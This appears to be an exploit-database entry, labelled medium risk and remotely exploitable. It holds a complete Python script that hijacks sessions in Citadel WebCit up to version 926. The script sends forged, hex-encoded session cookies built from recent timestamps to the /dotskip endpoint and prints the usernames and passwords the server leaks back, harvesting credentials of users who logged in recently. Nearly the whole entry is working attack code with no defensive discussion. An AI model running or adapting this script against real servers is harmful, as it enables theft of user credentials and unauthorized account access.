Citadel WebCit Session Hijacking

Risk: Medium
Local: No
Remote: Yes

# Exploit Title: Citadel WebCit < 926 - Session Hijacking Exploit # Exploit Author: Simone Quatrini # Version: 926 #!/usr/bin/env python3 import argparse import requests import time import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) parser = argparse.ArgumentParser(description="Webcit <= 926 Session Hijacking") parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.:") parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response") args = parser.parse_args() url = args.url verbose = args.verbose def check_endpoint(url): headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'} response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False) if response.status_code == 200: print("[+] WebCit is reachable\n") else: print("\n[-] WebCit response code: ", response.status_code) sys.exit() def harvesting(url, verbose): #Current Timestamp epoch_time = int(time.time()) #harvesting technique only search for user that logged-in within the last ~20 minutes. #increase the search_back_in variable's number to search even backwards (it will require more time and requests) #Also, make sure that you're using the same timezone of the server search_back_in = 999 print("[/] Credential harvesting in progress...") while search_back_in > 0: payload = str(epoch_time-search_back_in)+'|||||' payload_hex = payload.encode(encoding='utf_8').hex() headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36','Cookie':'webcit='+payload_hex+''} response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False) try: cookievalue = bytes.fromhex(response.cookies['webcit']) cookievalue = cookievalue.decode(encoding='utf_8') parts = cookievalue.split('|') if ((len(parts[1])) and (len(parts[2]))): print("Credential found: ", cookievalue) except: if(verbose): print("[-] Invalid returned cookie value not valid, skipping") search_back_in = search_back_in - 1 print("[+] Credential harvesting done.") # Default actions if only '--url' is passed check_endpoint(url) harvesting(url, verbose)

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